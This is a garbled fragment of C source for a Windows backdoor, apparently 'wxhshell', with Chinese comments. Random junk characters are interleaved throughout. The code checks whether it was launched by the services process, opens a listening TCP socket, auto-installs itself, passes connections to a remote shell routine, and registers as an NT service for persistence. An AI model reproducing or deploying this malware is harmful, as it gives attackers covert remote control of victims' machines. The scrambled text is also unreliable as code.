P_M!h~ Lvn+EM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
_,*QJ if(hProcess==NULL) return 0; #?bOAWAwLh 2*zMLI0. HMODULE hMod; 59(} D'lw> char procName[255]; >< Qp%yT unsigned long cbNeeded; IpVtbDW =Unu>p}2V if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _147d5 CW~c<," CloseHandle(hProcess); }`uq:y @DyMq3Gt?& if(strstr(procName,"services")) return 1; // 以服务启动 g<i>252> [ _&z+ return 0; // 注册表启动 qnw8#!%I } (z%OK[ Qs_]U // 主模块 |PLWF[+t8 int StartWxhshell(LPSTR lpCmdLine) "T6s;'k { ^i17MvT'
SOCKET wsl; #LG<o3An BOOL val=TRUE; 1(
]{tF int port=0; H(Ad"1~.# struct sockaddr_in door; _(KzjOMt {)-3g~ if(wscfg.ws_autoins) Install(); q}J Eesf /qXP\ a port=atoi(lpCmdLine); - 4S4I zHvW@A'F if(port<=0) port=wscfg.ws_port; .H5^ N\V| 4HyD=6V# WSADATA data; ,f[Oy:fr if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZZW%6 -B hj3wxH.} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iD:TKB_r setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -M`+hVs? door.sin_family = AF_INET; }M9I]\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); (vbI4&r door.sin_port = htons(port); Dfd%Z;Yu "^Vfo$q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E}|IU Pm closesocket(wsl); a.SxMF return 1; vt}A6mF } oF5~|&C ]#J-itO if(listen(wsl,2) == INVALID_SOCKET) { |f+fG=a67V closesocket(wsl); =M34
HPG return 1; m?`$NJST } YHo*IX')C? Wxhshell(wsl); =|q@Q`DB WSACleanup(); P".rm0@R D;X/7 p|> return 0; \xOv 9( l`*R !\ } Mog!pmc{ Y!_e,]GW // 以NT服务方式启动 ~@K!>j VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 79ZYRm2; { EBplr , DWORD status = 0; O)}5`0@L DWORD specificError = 0xfffffff; DbK-3F_ );V.le}%( serviceStatus.dwServiceType = SERVICE_WIN32; 5<|X++y}8) serviceStatus.dwCurrentState = SERVICE_START_PENDING; w'P!<JaZ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; THnZbh4#) serviceStatus.dwWin32ExitCode = 0; P64<O5l/ serviceStatus.dwServiceSpecificExitCode = 0; (Bu-o((N@0 serviceStatus.dwCheckPoint = 0; i8`0- serviceStatus.dwWaitHint = 0; f.Ms3)) ')j@OO3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5=P*<Dnj if (hServiceStatusHandle==0) return; (rjv3=9\3 n7'X.=o7 status = GetLastError(); >3y:cPTM5 if (status!=NO_ERROR) GP=&S|hi { "A& |